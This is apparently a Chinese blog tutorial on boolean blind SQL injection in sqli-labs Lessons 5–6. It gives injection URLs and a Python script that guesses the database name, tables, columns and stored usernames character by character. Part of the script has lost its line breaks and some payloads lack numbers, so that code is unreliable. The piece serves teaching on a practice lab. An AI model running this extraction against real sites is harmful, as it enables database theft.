本文作者:Mochazz

如果所查询的用户id在数据库中,可以发现页面显示”You are in”,而不像前4关那样会显示出具体的账号密码。

如果sql语句查询结果不存在,则不会显示”You are in”

这种类型的SQL注入属于盲注型,使用id=1’观察报错信息,如下图

可以看到报错信息是”1” LIMIT 0,1′,也就是说后台代码可能是这样写的:SELECT * FROM users WHERE id=‘$id’ LIMIT 0,1,

下面,我们进行手工盲注测试,需要用到substr()、length()、ascii()、left()、count()这些sql数据库函数。

ascii(a)将a转换成其ASCII值
ord(a)将a转换成其ASCII值
left(a,b)从左往右截取字符串a的前b个字符
substr(a,b,c)从b位置开始,截取字符串a的c长度
mid(a,b,c)从位置b开始,截取a字符串的c位

select * from table_name limit m,n;表示从m+1开始取n条查询记录

具体可以参考这一篇文章:sqli-labs环境搭建及数据库基础

首先,我们要获取当前数据库名的长度,用于之后的数据库名猜解

http://127.0.0.1/sqlilabs/Less-5/?id=1′and (length(database())=)–+

上面的数字你可以从1开始递增,发现在length(database())=8的时候,页面返回了正确信息,这说明当前数据库名长度为8,你可以用python写个简单脚本跑一下,效果图如下

接下来就要对数据库名的每个字符进行猜解

http://127.0.0.1/sqlilabs/Less-5/?id=1′ and (left(database(),1)=’s‘)–+

left(database(),1)=’s'表示数据库名从左往右取一个字符,判断该字符是否等于s

left(database(),2)=’se’表示数据库名从左往右取两个个字符,判断该字符是否等于se

这里的s和se并不是固定的,你可以尝试ASCII表中的每个字符

同样写成脚本跑一下,效果图如下

下面要查询security数据库下的表的个数

http://127.0.0.1/sqlilabs/Less-5/?id=1′ and=(select count(table_name) from information_schema.tables where table_schema=’security‘)–+

将等号左边的1进行递增即可判断出security数据库下表的个数,效果图如下

如果你不熟悉文中出现的select语句,可以参考:sqli-labs lession1-4

然后就是判断每个表名的长度

http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”security” limit,1),1,1))–+

使用上面这个payload,如果页面返回”You are in”,则表示第一张表的长度至少为1,同样的,我们可以对limit num,1),num,1))num部分进行递增判断,如果进行到limit 0,1),7,1))时页面返回空,则说明第一张表的长度为7-1=6

判断出表名长度后,就要对表名进行猜解

http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”security” limit,1),1,1))=1–+

这里其实跟上面的猜解数据库名原理是一样的,将等号右边的1进行递增判断,如果页面返回”You are in”,则表示第一张表的第一个字符的ASCII码为1,在参考ASCII码找到对应的字符就可以了。下面是程序运行效果图(截取部分吧,太多了)

接下来就要猜解每个表里的列的个数、列名以及列名长度,列名猜解,和上面原理都差不多,这里不再赘述,直接给出payload(以users表为例子)。

猜解列的个数

http://127.0.0.1/sqlilabs/Less-5/?id=1′ and %d=(select count(column_name) from information_schema.columns where table_name=’users‘)–+

猜解列名长度

http://127.0.0.1/sqlilabs/Less-5/?id=1′ andascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1))–+

猜解列名

http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1))=97–+

程序运行效果图

最后就是要猜解每个列里面的具体字段的长度以及值了(这里以猜解username为例)

判断字段长度

http://127.0.0.1/sqlilabs/Less-5/?id=1′ and=(select count(username) from security.users)–+

判断字段长度

http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and ascii(substr((selectusernamefrom security.users limit 0,1),1,1))–+

判断字段值

http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and ascii(substr((selectusername from security.users limit 0,1),1,1))=95–+

程序运行效果图

最后给出完整的python代码(python3)

import requests
url = 'http://192.168.1.158/sqlilabs/Less-5/?id=1'
db_length = 0
db_name = ''
table_num = 0
table_len = 0
table_name = ''
table_list = []
column_num = 0
column_len = 0
column_name = ''
column_list = []
dump_num = 0
dump_len = 0
dump_name = ''
dump_list = []
i = j = k = 0
### 当前数据库名长度 ###
for i in range(1,20):
    db_payload = '''' and (length(database())=%d)--+''' %i
    # print(url+db_payload)
    r = requests.get(url+db_payload)
    if "You are in" in r.text:
        db_length = i
        print('当前数据库名长度为:%d' % db_length)
        break
### 当前数据库名 ###
print('开始猜解数据库名......')
for i in range(1,db_length+1):
    for j in range(95,123):
        db_payload = '''' and (left(database(),%d)='%s')--+''' % (i,db_name+chr(j))
        r = requests.get(url+db_payload)
        if "You are in" in r.text:
            db_name += chr(j)
            # print(db_name)
            break
print('数据库名:\n[+]',db_name)
### 当前数据库表的数目 ###
for i in range(100):
    db_payload = '''' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+''' % (i,db_name)
    r = requests.get(url+db_payload)
    # print(url+db_payload)
    if "You are in" in r.text:
        table_num = i
        break
print('一共有%d张表' % table_num)
print('开始猜解表名......')
### 每张表的表名长度及表名 ###
for i in range(table_num):
    table_len = 0
    table_name = ''
    #### 表名长度 ####
    for j in range(1,21):
        db_payload = '''' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit %d,1),%d,1))--+''' % (i,j)        r = requests.get(url+db_payload)        # print(db_payload)        if "You are in" not in r.text:            table_len = j-1            #### 猜解表名 ####            for k in range(1,table_len+1):                for l in range(95,123):                    db_payload = '''' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d--+''' % (i,k,l)                    # print(db_payload)                    r = requests.get(url+db_payload)                    # print(db_payload)                    if "You are in" in r.text:                        table_name += chr(l)            print(table_name)            table_list.append(table_name)            breakprint('表名:',table_list)### 每个表的列的数目、列名及列名长度 ###for i in table_list:    #### 每个表的列的数目 ####    for j in range(100):        db_payload = '''' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+''' % (        j, i)        r = requests.get(url + db_payload)        if "You are in" in r.text:            column_num = j            print(("[+] 表名:%-10s\t" % i) + str(column_num) + '字段')            break#### 猜解列名长度 ####column_num = 3print('%s表中的列名:' % table_list[-1])for j in range(3):    column_name = ''    for k in range(1,21):        db_payload = '''' and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))--+''' % (table_list[-1],j,k)        r = requests.get(url+db_payload)        if "You are in" not in r.text:            column_len = k-1            # print(column_len)            break        #### 猜解列名 ####        for l in range(95,123):            db_payload = '''' and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))=%d--+''' % (table_list[-1],j,k,l)            r = requests.get(url + db_payload)            if "You are in" in r.text:                column_name += chr(l)    print('[+] ',column_name)    column_list.append(column_name)print('开始爆破以下字段:',column_list[1:])for column in column_list[1:]:    print(column,':')    dump_num = 0    for i in range(30):        db_payload = '''' and %d=(select count(%s) from %s.%s)--+''' % (i,column,db_name,table_list[-1])        # print(db_payload)        r = requests.get(url+db_payload)        if "You are in" in r.text:            dump_num = i            # print(i)            break    for i in range(dump_num):        dump_len = 0        dump_name = ''        #### 字段长度 ####        for j in range(1, 21):            db_payload = '''' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+''' % (column,db_name,table_list[-1],i,j)            r = requests.get(url + db_payload)            if "You are in" not in r.text:                dump_len = j-1                for k in range(1, dump_len + 1):                    for l in range(1,256):                        db_payload = '''' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))=%d--+''' % (column,db_name,table_list[-1],i,k,l)                        # print(db_payload)                        r = requests.get(url+db_payload)                        if "You are in" in r.text:                            dump_name += chr(l)                            # print(dump_name)                            break                break        print('[+]',dump_name)

Lession 6

至于第六关,看一下报错信息应该能猜出后台SQL查询语句为SELECT * FROM users WHERE id=”$id” LIMIT 0,1

所以直接将第五关写的代码修改一下,把代码中payload部分的’(单引号)改成”(双引号)即可

总结

写这个代码只是为了学习sql盲注,在写的过程中也想放弃,因为一直出错而且不知道错在哪里,但是最后还是完整的写完。其实代码还有很多地方可以改进,例如猜解字符可以使用二分法,这样效率会更快。还是继续努力吧。

sqli-labs lession 5 之盲注型SQL入门的更多相关文章

  1. SQL盲注、SQL注入 - SpringBoot配置SQL注入过滤器

    1. SQL盲注.SQL注入   风险:可能会查看.修改或删除数据库条目和表.   原因:未对用户输入正确执行危险字符清理.   固定值:查看危险字符注入的可能解决方案. 2. pom.xml添加依赖 ...

  2. Natas15 Writeup(sql盲注之布尔盲注)

    Natas15: 源码如下 /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) ...

  3. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  4. 小白日记42:kali渗透测试之Web渗透-SQL盲注

    SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...

  5. SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)

    开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...

  6. SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  7. sqli-labs lesson5-6 布尔盲注 报错注入 延时注入

    LESSON 5: 典型的布尔盲注. 盲注:sql注入过程中,sql语句的执行结果不回显到前端,这个时候就只能用一些别的方法进行判断或者尝试,这个判断或者尝试就叫做盲注.盲注又分为:1.基于布尔SQL ...

  8. Sqli-LABS通关笔录-5[SQL布尔型盲注]

    /* 请为原作者打个标记.出自:珍惜少年时 */   通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...

  9. 【Python】测试布尔型盲注脚本

    sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys impo ...

随机推荐

  1. 纯C++binder服务和客户端实例

    继承关系: 文件关系 IHelloService.h /* 参考: frameworks\av\include\media\IMediaPlayerService.h */ #ifndef ANDRO ...

  2. 为什么需要maven,maven能解决什么问题 ,maven是什么

  3. spring定时任务执行两次的原因与解决方法

    spring定时任务,本地执行一次,放到服务器上后,每次执行时会执行两次,原因及解决办法. http://blog.csdn.net/yaobengen/article/details/7031266 ...

  4. How to setup Laravel Homestead in Windows

    How to setup Laravel Homestead in Windows by JBorbón  17. March 2017   PHP   8 Developing with PHP u ...

  5. 解决win7和2008连接windows 2003远程桌面很卡的问题

    解决win7和2008连接windows 2003远程桌面很卡的问题 来源:http://www.hack1990.com/ 作者:佚名 时间:2013-04-12 TAG: 我要投稿 原因在于从vi ...

  6. docker-compose示例与命令介绍

    一.docker-compose.yml示例 version: ‘2‘ #指定compose版本 services: log: #服务名称 image: vmware/harbor-log #指定镜像 ...

  7. Oracle学习笔记(四)

    六.约束 1.约束的作用 定义规则:什么数据可以输入,什么不可以 确保完整性:数据的精确性和可靠性 2.Oracle五个重要的约束: 非空约束.主键约束.外键约束.检查约束.唯一约束. (1)非空约束 ...

  8. 大数据技术之_19_Spark学习_05_Spark GraphX 应用解析 + Spark GraphX 概述、解析 + 计算模式 + Pregel API + 图算法参考代码 + PageRank 实例

    第1章 Spark GraphX 概述1.1 什么是 Spark GraphX1.2 弹性分布式属性图1.3 运行图计算程序第2章 Spark GraphX 解析2.1 存储模式2.1.1 图存储模式 ...

  9. Linux 非阻塞connect,错误码:EINPROGRESS

    当我们以非阻塞的方式来进行连接的时候,返回的结果如果是 -1,这并不代表这次连接发生了错误,如果它的返回结果是 EINPROGRESS,那么就代表连接还在进行中. 后面可以通过poll或者select ...

  10. Geronimo 叛逆者: 使用集成软件包:Codehaus 的 Woodstox(转载)

    XML 解析器通常是高性能.健壮应用程序的关键.传统的 XML 解析技术包括文档对象模型(Document Object Model,DOM)和 Simple API for XML (SAX).现在 ...